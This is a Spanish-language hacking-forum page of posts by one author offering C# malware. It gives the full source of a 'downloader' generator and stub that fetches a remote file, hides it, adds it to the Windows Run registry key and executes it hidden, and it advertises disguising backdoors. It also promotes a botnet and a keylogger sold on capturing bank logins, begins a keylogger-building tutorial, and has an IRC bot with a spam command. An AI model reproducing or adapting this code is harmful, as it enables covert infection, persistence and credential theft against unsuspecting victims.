Para poder reconocer comandos para HackingTools lo vamos hacer con mensajes privados , el administrador del bot le habla al mismo a traves de mensajes privados con los comandos , despues el bot le responde con la respuesta del comando que le dijimos , un ejemplo de eso es este codigo el cual deben agregar despues del bucle :

Código: csharp

regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
if (regex.Success) // Si se encontro algo
{
string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value; // El mensaje en si
if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
// detectamos los dos comandos que son <nick> <mensaje>
if (regex_ordenes.Success) // Si se encontro algo
{
mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Sure"); // Le decimos al nick dueño del bot que si
mandar_datos.Flush(); // ..
System.Threading.Thread.Sleep(5000); // Usamos Thread.Sleep para esperar 5 segundos y fingir que hacemos algo interesante xD
mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
// un mensaje al usuario especificado con el mensaje que pedimos
mandar_datos.Flush(); // ..
mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Finished"); // Le decimos al dueño del bot que terminamos
mandar_datos.Flush(); // ..
}
}
}


Como ven nuestro comando es !spam , simplemente usa esta formato "!spam <nick> <texto>" y el bot le hablara a la persona del canal que quieran con el mensaje que quieran.

0x07 : Testeando

Hemos llegado al final de este corto manual , les deberia haber quedado el codigo de esta forma :

Código: csharp

// Ejemplo de IRC Bot
// Written By Doddy Hackman in the year 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.Net; // Lo usamos para realizar la conexion
using System.Net.Sockets; // Lo mismo que la anterior
using System.IO; // Lo usamos para el manejo con los streams
using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares

namespace irc
{
    class Program
    {
        static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal

        static void Main(string[] args)
        {
            NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
            TcpClient irc; // Establecemos la variable irc como TcpClient
            StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
            StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter

            string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
            string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
            string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
            string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
           
            irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
            conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
            leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
            mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC

            mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
            mandar_datos.Flush(); // Actualizamos la conexion

            mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
            mandar_datos.Flush(); // ..

            mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
            mandar_datos.Flush(); // ..

            while (true) // Mi bucle enterno
            {
                while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
                {
                    Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor

                    Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
                    // que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
                    // para ver que no estemos muerto o algo asi xD
                    if (regex.Success) // Si se encontro algo
                    {
                        string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
                        mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
                        mandar_datos.Flush(); // ..
                    }

                    regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
                    // con el poder de las expresiones regulares
                    if (regex.Success) // Si los encontraron
                    {
                        string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
                        usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
                        // cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
                        foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
                        {
                            Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
                        }
                    }

                    regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
                    if (regex.Success) // Si se encontro algo
                    {

                        mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
                        mandar_datos.Flush(); // ..

                        string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
                        string mensaje = regex.Groups[4].Value; // El mensaje en si
                        if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
                        // el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
                        {
                            Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
                            Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
                            // detectamos los dos comandos que son <nick> <mensaje>
                            if (regex_ordenes.Success) // Si se encontro algo
                            {
                                mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
                                // un mensaje al usuario especificado con el mensaje que pedimos
                                mandar_datos.Flush(); // ..
                            }
                        }
                    }
                }
            }
        }
    }
}

// The End ?


Unas imagenes :







--========--
  The End ?
--========--

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Version VideoTutorial



Eso es todo.
#99
C# - VB.NET / [C#] DH Botnet 1.0
Septiembre 26, 2014, 02:59:10 PM
Traduccion a C# de mi delphi inicialmente escrita en Perl y luego en Delphi.

Tiene las siguientes opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla
  • Keylogger Incluido

    Una imagen :



    Un video con ejemplo de uso :



    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#100
C# - VB.NET / [C#] DH Downloader 1.0
Septiembre 19, 2014, 04:11:48 PM
Una traduccion de mi DH Downloader a C# con las siguiente opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  • En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables.

    Una imagen :



    Los codigos :

    El generador.

    Código: csharp

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014
    //
    // Credits :
    //
    // Based on : http://www.csharp-examples.net/download-files/
    //
    //

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;

    using System.Net;
    using System.IO;
    using Microsoft.Win32;
    using System.Diagnostics;

    using System.Reflection;

    namespace DH_Downloader
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            string ruta_final_global = "";

            // Functions

            public string hexencode(string texto)
            {
                string resultado = "";

                byte[] enc = Encoding.Default.GetBytes(texto);
                resultado = BitConverter.ToString(enc);
                resultado = resultado.Replace("-", "");
                return "0x" + resultado;
            }

            public string hexdecode(string texto)
            {

                // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
                // Thanks to emregulcan

                string valor = texto.Replace("0x", "");
                string retorno = "";

                while (valor.Length > 0)
                {
                    retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                    valor = valor.Substring(2, valor.Length - 2);
                }

                return retorno.ToString();

            }

            public void cmd_normal(string command)
            {
                try
                {
                    System.Diagnostics.Process.Start("cmd", "/c " + command);
                }
                catch
                {
                    //
                }
            }

            public void cmd_hide(string command)
            {
                try
                {
                    ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                    cmd_now.RedirectStandardOutput = false;
                    cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                    cmd_now.UseShellExecute = true;
                    Process.Start(cmd_now);
                }
                catch
                {
                    //
                }
            }

            public void extraer_recurso(string name, string save)
            {

                // Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
                // Thanks to Jean Paul

                try
                {
                    Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
                    FileStream yacasi = new FileStream(save, FileMode.CreateNew);
                    for (int count = 0; count < bajando_recurso.Length; count++)
                    {
                        byte down = Convert.ToByte(bajando_recurso.ReadByte());
                        yacasi.WriteByte(down);
                    }
                    yacasi.Close();
                }
                catch
                {
                    MessageBox.Show("Error unpacking resource");
                }

            }

            //

            private void mephobiaButton1_Click(object sender, EventArgs e)
            {
                Application.Exit();
            }


            private void mephobiaButton2_Click(object sender, EventArgs e)
            {

                string url = mephobiaTextBox1.Text;
                string directorio_final = "";
                string nombre_final = "";
                string ruta_final = "";

                string directorio_dondeestamos = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);

                if (mephobiaCheckBox1.Checked)
                {
                    nombre_final = mephobiaTextBox2.Text;
                }
                else
                {
                    nombre_final = Path.GetFileName(url);
                }

                if (mephobiaCheckBox2.Checked)
                {
                    directorio_final = mephobiaTextBox3.Text;
                }
                else
                {
                    directorio_final = directorio_dondeestamos;
                }

                ruta_final = directorio_final + "/" + nombre_final;
                ruta_final_global = ruta_final;
               
                //MessageBox.Show(directorio_final);
                //MessageBox.Show(nombre_final);
                //MessageBox.Show(ruta_final);

                Directory.SetCurrentDirectory(directorio_final);

                if (File.Exists(ruta_final))
                {
                    File.Delete(ruta_final);
                }

                toolStripStatusLabel1.Text = "[+] Downloading ...";
                this.Refresh();

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.DownloadFileCompleted += new AsyncCompletedEventHandler(finished);
                    nave.DownloadProgressChanged += new DownloadProgressChangedEventHandler(ahi_vamos);
                    nave.DownloadFileAsync(new Uri(url), nombre_final);
                }

                catch
                {
                    //
                }
               

                if (mephobiaCheckBox3.Checked)
                {
                    if (File.Exists(ruta_final))
                    {
                        try
                        {
                            File.SetAttributes(ruta_final, FileAttributes.Hidden);
                        }
                        catch
                        {
                            //
                        }
                    }
                }

                if (mephobiaCheckBox4.Checked)
                {
                    if (File.Exists(ruta_final))
                    {
                        try
                        {
                            RegistryKey loadnow = Registry.LocalMachine;
                            loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            loadnow.SetValue("uberkz", ruta_final, RegistryValueKind.String);
                            loadnow.Close();
                        }
                        catch
                        {
                            //
                        }
                    }
                }

                if (mephobiaCheckBox5.Checked)
                {
                    if (mephobiaRadiobutton1.Checked)
                    {
                        cmd_normal("\"" + ruta_final + "\"");
                    }
                    if (mephobiaRadiobutton2.Checked)
                    {
                        cmd_hide("\"" + ruta_final + "\"");
                    }

                }

            }

            private void ahi_vamos(object sender, DownloadProgressChangedEventArgs e)
            {
                toolStripProgressBar1.Value = e.ProgressPercentage;
            }

            private void finished(object sender, AsyncCompletedEventArgs e)
            {

                long tam = new System.IO.FileInfo(ruta_final_global).Length;

                if (File.Exists(ruta_final_global) && tam!=0 )
                {
                    toolStripStatusLabel1.Text = "[+] Done";
                    this.Refresh();
                    MessageBox.Show("Downloaded");
                }
                else
                {
                    toolStripStatusLabel1.Text = "[-] Error";
                    this.Refresh();
                    MessageBox.Show("Failed download");
                }
                toolStripProgressBar1.Value = 0;
            }

            private void Form1_Load(object sender, EventArgs e)
            {
                toolStripProgressBar1.Value = 0;
            }

            private void mephobiaButton3_Click(object sender, EventArgs e)
            {

                string linea_generada = "";

                string url = mephobiaTextBox4.Text;
                string opcion_change_name = "";
                string text_change_name = mephobiaTextBox5.Text;
                string opcion_carga_normal = "";
                string opcion_carga_hide = "";
                string ruta_donde_bajar = "";
                string opcion_ocultar_archivo = "";
                string opcion_startup = "";

                if (mephobiaCheckBox7.Checked)
                {
                    opcion_change_name = "1";
                }
                else
                {
                    opcion_change_name = "0";
                }

                if (mephobiaRadiobutton3.Checked)
                {
                    opcion_carga_normal = "1";
                }
                else
                {
                    opcion_carga_normal = "0";
                }

                if (mephobiaRadiobutton4.Checked)
                {
                    opcion_carga_hide = "1";
                }
                else
                {
                    opcion_carga_hide = "0";
                }

                if (mephobiaComboBox1.SelectedItem != null)
                {
                    ruta_donde_bajar = mephobiaComboBox1.SelectedItem.ToString();
                }
                else
                {
                    ruta_donde_bajar = "Fuck You Bitch";
                }

                if (mephobiaCheckBox6.Checked)
                {
                    opcion_ocultar_archivo = "1";
                }
                else
                {
                    opcion_ocultar_archivo = "0";
                }

                if (mephobiaCheckBox8.Checked)
                {
                    opcion_startup = "1";
                }
                else
                {
                    opcion_startup = "0";
                }

                extraer_recurso("DH_Downloader.Resources.stub.exe", "stub.exe");

                string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
                string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";

                if (File.Exists(check_stub))
                {

                    if (File.Exists(work_on_stub))
                    {
                        System.IO.File.Delete(work_on_stub);
                    }

                    System.IO.File.Copy(check_stub, work_on_stub);

                    linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
                    "-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
                    opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
                    "-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
                    "-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-"+"-opcion_startup-"+
                    opcion_startup+"-opcion_startup-";

                    string generado = hexencode(linea_generada);
                    string linea_final = "-63686175-" + generado + "-63686175-";

                    FileStream abriendo = new FileStream(work_on_stub, FileMode.Append);
                    BinaryWriter seteando = new BinaryWriter(abriendo);
                    seteando.Write(linea_final);
                    seteando.Flush();
                    seteando.Close();
                    abriendo.Close();

                    //MessageBox.Show(generado);
                    //MessageBox.Show(hexdecode(generado));

                    try
                    {
                        System.IO.File.Delete(check_stub);
                    }
                    catch
                    {
                        //
                    }

                    MessageBox.Show("Tiny downloader Generated");

                }
                else
                {
                    MessageBox.Show("Stub not found");
                }

            }
        }
    }

    // The End ?


    El Stub.

    Código: csharp

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014
    // Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Diagnostics;
    using System.Net;
    using System.IO;
    using Microsoft.Win32;

    namespace stub
    {

        class Program
        {

            // Functions

            static public void cmd_normal(string command)
            {
                try
                {
                    System.Diagnostics.Process.Start("cmd", "/c " + command);
                }
                catch
                {
                    //
                }
            }

            static public void cmd_hide(string command)
            {
                try
                {
                    ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                    cmd_now.RedirectStandardOutput = false;
                    cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                    cmd_now.UseShellExecute = true;
                    Process.Start(cmd_now);
                }
                catch
                {
                    //
                }
            }

            static public void add_startup(string path)
            {
                try
                {
                    RegistryKey loadnow = Registry.LocalMachine;
                    loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    loadnow.SetValue("uberkzz", path, RegistryValueKind.String);
                    loadnow.Close();
                }
                catch
                {
                    //
                }
            }

            //

            static void Main(string[] args)
            {

                load_config config = new load_config();
                config.load_data();
                string check_online = config.downloader_online;
                if (check_online == "1")
                {
                    Console.WriteLine("[+] Downloader Online");

                    string url = config.url;
                    string opcion_change_name = config.opcion_change_name;
                    string text_change_name = config.text_change_name;
                    string opcion_carga_normal = config.opcion_carga_normal;
                    string opcion_carga_hide = config.opcion_carga_hide;
                    string ruta_donde_bajar = config.ruta_donde_bajar;
                    string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
                    string opcion_startup = config.opcion_startup;

                    string nombre_final = "";
                    string directorio_final = "";
                    string ruta_final = "";

                    //string output = config.get_data();
                    //Console.WriteLine(output);

                    if (opcion_change_name == "1")
                    {
                        nombre_final = text_change_name;
                    }
                    else
                    {
                        nombre_final = Path.GetFileName(url);
                    }

                    if (ruta_donde_bajar != "")
                    {
                        directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
                    }
                    else
                    {
                        directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
                    }

                    ruta_final = directorio_final + "/" + nombre_final;

                    Console.WriteLine("[+] URL : "+url+"\n");
                    Console.WriteLine("[+] Filename : "+ruta_final+"\n");

                    try
                    {
                        WebClient nave = new WebClient();
                        nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                        nave.DownloadFile(url, ruta_final);
                    }
                    catch
                    {
                        //
                    }

                    if (opcion_ocultar_archivo == "1")
                    {
                        Console.WriteLine("[+] Hide : "+ruta_final+"\n");
                        try
                        {
                            File.SetAttributes(ruta_final, FileAttributes.Hidden);
                        }
                        catch
                        {
                            //
                        }
                    }

                    if (opcion_startup == "1")
                    {
                        Console.WriteLine("[+] Add Startup : "+ruta_final+"\n");
                        add_startup(ruta_final);
                    }

                    if (opcion_carga_normal == "1")
                    {
                        Console.WriteLine("[+] Load normal : "+ruta_final+"\n");
                        cmd_normal(ruta_final);
                    }

                    if (opcion_carga_hide == "1")
                    {
                        Console.WriteLine("[+] Load hide : "+ruta_final+"\n");
                        cmd_hide(ruta_final);
                    }
                   
                    //Console.ReadKey();

                }
                else
                {
                    Console.WriteLine("[-] Downloader OffLine");
                    //Console.ReadKey();
                }
               
            }
        }
    }

    // The End ?


    Clase load_config.cs del Stub.

    Código: csharp

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014

    using System;
    using System.Collections.Generic;
    using System.Text;

    using System.IO;
    using System.Text.RegularExpressions;

    namespace stub
    {
        class load_config
        {
            string downloader_online_config = "";
            string url_config = "";
            string opcion_change_name_config = "";
            string text_change_name_config = "";
            string opcion_carga_normal_config = "";
            string opcion_carga_hide_config = "";
            string ruta_donde_bajar_config = "";
            string opcion_ocultar_archivo_config = "";
            string opcion_startup_config = "";

            public string downloader_online
            {
                set { downloader_online_config = value; }
                get { return downloader_online_config; }
            }

            public string url
            {
                set { url_config = value; }
                get { return url_config; }
            }

            public string opcion_change_name
            {
                set { opcion_change_name_config = value; }
                get { return opcion_change_name_config; }
            }

            public string text_change_name
            {
                set { text_change_name_config = value; }
                get { return text_change_name_config; }
            }

            public string opcion_carga_normal
            {
                set { opcion_carga_normal_config = value; }
                get { return opcion_carga_normal_config; }
            }

            public string opcion_carga_hide
            {
                set { opcion_carga_hide_config = value; }
                get { return opcion_carga_hide_config; }
            }

            public string ruta_donde_bajar
            {
                set { ruta_donde_bajar_config = value; }
                get { return ruta_donde_bajar_config; }
            }

            public string opcion_ocultar_archivo
            {
                set { opcion_ocultar_archivo_config = value; }
                get { return opcion_ocultar_archivo_config; }
            }

            public string opcion_startup
            {
                set { opcion_startup_config = value; }
                get { return opcion_startup_config; }
            }

            public string hexencode(string texto)
            {
                string resultado = "";

                byte[] enc = Encoding.Default.GetBytes(texto);
                resultado = BitConverter.ToString(enc);
                resultado = resultado.Replace("-", "");
                return "0x" + resultado;
            }

            public string hexdecode(string texto)
            {

                // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
                // Thanks to emregulcan

                string valor = texto.Replace("0x", "");
                string retorno = "";

                while (valor.Length > 0)
                {
                    retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                    valor = valor.Substring(2, valor.Length - 2);
                }

                return retorno.ToString();
            }

            public load_config()
            {
                string downloader_online_config = "";
                string url_config = "";
                string opcion_change_name_config = "";
                string text_change_name_config = "";
                string opcion_carga_normal_config = "";
                string opcion_carga_hide_config = "";
                string ruta_donde_bajar_config = "";
                string opcion_ocultar_archivo_config = "";
                string opcion_startup_config = "";
            }

            public void load_data()
            {
                StreamReader viendo = new StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location);
                string contenido = viendo.ReadToEnd();
                Match regex = Regex.Match(contenido, "-63686175-(.*?)-63686175-", RegexOptions.IgnoreCase);

                if (regex.Success)
                {
                    string comandos = regex.Groups[1].Value;
                    if (comandos != "" || comandos != " ")
                    {
                        downloader_online_config = "1";
                        string leyendo = hexdecode(comandos);

                        regex = Regex.Match(leyendo, "-url-(.*)-url-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            url_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_change_name-(.*)-opcion_change_name-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_change_name_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-text_change_name-(.*)-text_change_name-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            text_change_name_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_carga_normal_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_carga_hide_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            ruta_donde_bajar_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_ocultar_archivo_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_startup-(.*)-opcion_startup-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_startup_config = regex.Groups[1].Value;
                        }

                    }
                    else
                    {
                        downloader_online_config = "0";
                    }
                }

            }

            public string get_data()
            {
                string lista = "[+] Downloader Online : " + downloader_online_config + "\n" +
                "[+] URL : " + url_config +"\n" +
                "[+] Option Change Name : " + opcion_change_name_config + "\n" +
                "[+] Change Name to : " + text_change_name_config + "\n" +
                "[+] Option normal load : " + opcion_carga_normal_config + "\n" +
                "[+] Option hide load : " + opcion_carga_hide_config + "\n" +
                "[+] Path : " + ruta_donde_bajar_config + "\n" +
                "[+] Option hide file : " + opcion_ocultar_archivo_config + "\n" +
                "[+] Option startup : " + opcion_startup_config;

                //

                return lista;
            }
       

        }
    }

    // The End ?


    Un video con ejemplo de uso



    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#101
Dudas y pedidos generales / Fuente photoshop
Septiembre 17, 2014, 08:37:05 PM
Hola estoy buscando un texto blanco para combinar con fondo negro , buscando en dafont para una fuente photoshop , note que me gustaba el logo de exploit db : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

¿ Que fuentes photoshop conocen asi o me recomiendan ?
#102
C# - VB.NET / [C#] DH KeyCagator 1.5
Septiembre 12, 2014, 01:02:18 PM
Version de mi keylogger KeyCagator en C# , originalmente escrito en Delphi y Perl , basicamente es solo una traduccion pero tambien le agregue unas opciones nuevas.

Opciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Mejoras :

  • El keylogger oculto en la computadora de la victima tiene una ventana oculta con password para manejar o cambiar las opciones del keylogger aclaradas en el stub.
  • A peticiones de varios usuarios le agregue la opcion de poder capturar un screenshot cuando se detecte el click del mouse en una ventana especifica , esto es usado mucho para las cuentas de banco y no hay muchos keyloggers en ningun lenguaje que te regalen el codigo de esta forma.
  • Posibilidad de enviar los logs comodamente a tu cuenta de correo.
  • El stub pesa mucho menos que la version en Delphi

    Unas imagenes :







    Un video con ejemplo de uso :



    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con codigo incluido.
#103
C# - VB.NET / [C#] Creacion de un Keylogger
Septiembre 05, 2014, 01:40:01 PM
[Titulo] : Creacion de un Keylogger
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar Teclas
0x03 : Capturar el nombre de las ventanas activas
0x04 : Tomar un ScreenShot de la pantalla
0x05 : Subir logs a un servidor FTP
0x06 : Mandar logs por Mail
0x07 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola , hoy les traigo un manual sobre como hacer un keylogger en C# , en este manual les voy a enseñar o por lo menos lo voy a intentar sobre como capturar las teclas , nombres de las ventanas , tomar un screenshot de la pantalla para despues mandar los logs por Mail (usando Gmail) o subirlos a un servidor FTP.

Empecemos ...

Para empezar el keyloger tenemos que crear primero un nuevo proyecto de la siguiente forma :

Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar

Como en la siguiente imagen :



Una vez creado el proyecto vamos hacer el formulario completo para hacerlo de una para esto tienen que usar :

Los primeros 6 botones con el texto del boton :

Boton 1 - "Capture Keys ON"
Boton 2 - "Capture Keys OFF"

Boton 3 - "Capture Windows ON"
Boton 4 - "Capture Windows OFF"

Boton 5 - "Capture Screen ON"
Boton 6 - "Capture Screen OFF"

Ahora pongan 3 labels con el texto de "OFF" abajo de cada funcion : keys,windows,screen.

Para terminar pongan dos botones finales con el siguiente texto :

Boton 7 - "Send logs for FTP"
Boton 8 - "Send logs for Mail"

Quedando algo asi :



Si quieren pueden ponerle como texto "Keylogger in C#" al formulario como en la imagen pero no es importante.

0x02 : Capturar Teclas

Para poder capturar teclas necesitan poner este "using" al inicio del codigo para poder usar GetAsyncKeyState() :

Código: csharp

using System.Runtime.InteropServices;


Despues lo mas importante es agregar estas lineas despues de los "using" :

Código: csharp

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(Keys teclas);
        [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(Int32 teclas);
        [DllImport("user32.dll")]
        private static extern short GetKeyState(Keys teclas);
        [DllImport("user32.dll")]
        private static extern short GetKeyState(Int32 teclas);


Para poder escribir los logs en un html necesitan usar mi funcion traducida originalmente desde perl a python,ruby,delphi y finalmente C# :

Código: csharp

        public void savefile(string file, string texto)
        {
            //Function savefile() Coded By Doddy Hackman
            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); // Abrimos para escribir en el archivo marcado
                save.Write(texto); // Escribimos en el archivo marcado con lo que hay en la variable texto
                save.Close(); // Cerramos el archivo
            }
            catch
            {
                //
            }
        }


Ahora tenemos que agregar el primer timer al formulario solo van al cuadro de herramientas y lo arrastran al formulario.
Como va a ser el primero timer tendra el name de timer1 , entonces hacemos doble click timer1 para agregar el siguiente codigo.

Código: csharp

        private void timer1_Tick(object sender, EventArgs e)
        {

            // Keylogger Based on http://www.blackstuff.net/f44/c-keylogger-4848/
            // Thanks to Carlos Raposo

            for (int num = 0; num <= 255; num++) // Usamos el int num para recorrer los numeros desde el 0 al 255
            {
                int numcontrol = GetAsyncKeyState(num);  // Usamos GetAsyncKeyState para verificar si una tecla fue presionada usando el int numcontrol 
                if (numcontrol == -32767) // Verificamos si numcontrol fue realmente presionado controlando que numcontrol sea -32767 
                {
                    if (num >= 65 && num <= 122) // Si el int num esta entre 65 y 122 ...
                    {
                        if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                        {
                            // Si se detecta Shift y CapsLock ...
